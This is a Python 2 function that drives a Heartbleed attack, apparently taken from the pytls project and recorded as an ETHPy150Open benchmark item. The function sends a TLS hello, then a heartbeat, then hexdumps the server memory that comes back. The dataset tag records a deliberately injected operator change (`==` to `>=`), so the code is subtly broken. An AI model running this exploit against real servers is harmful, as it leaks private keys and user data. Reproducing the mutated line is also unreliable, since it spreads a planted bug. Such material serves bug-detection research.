def heartbleed(f):
    print 'Sending Client Hello...'
    f.write(make_hello())

    print 'Waiting for Server Hello Done...'
    while True:
        record = read_tls_record(f)

        # Look for server hello done message.
        if record.content_type() == TLSRecord.Handshake:
            message = HandshakeMessage.from_bytes(record.message())
            if message.message_type() == HandshakeMessage.ServerHelloDone:
                print 'Sending heartbeat...'
                f.write(make_heartbeat())
        elif record.content_type() == TLSRecord.Alert:
            alert = AlertMessage.from_bytes(record.message())
            print alert
            if alert.alert_level() == AlertMessage.Fatal:
                raise IOError('Server sent a fatal alert')
        elif record.content_type() >= TLSRecord.Heartbeat:
            hexdump(record.message())
        else:
            print 'Record received type %d' % (record.content_type())
dataset/ETHPy150Open WestpointLtd/pytls/heartbleed.py/heartbleed/operator `==` -> `>=`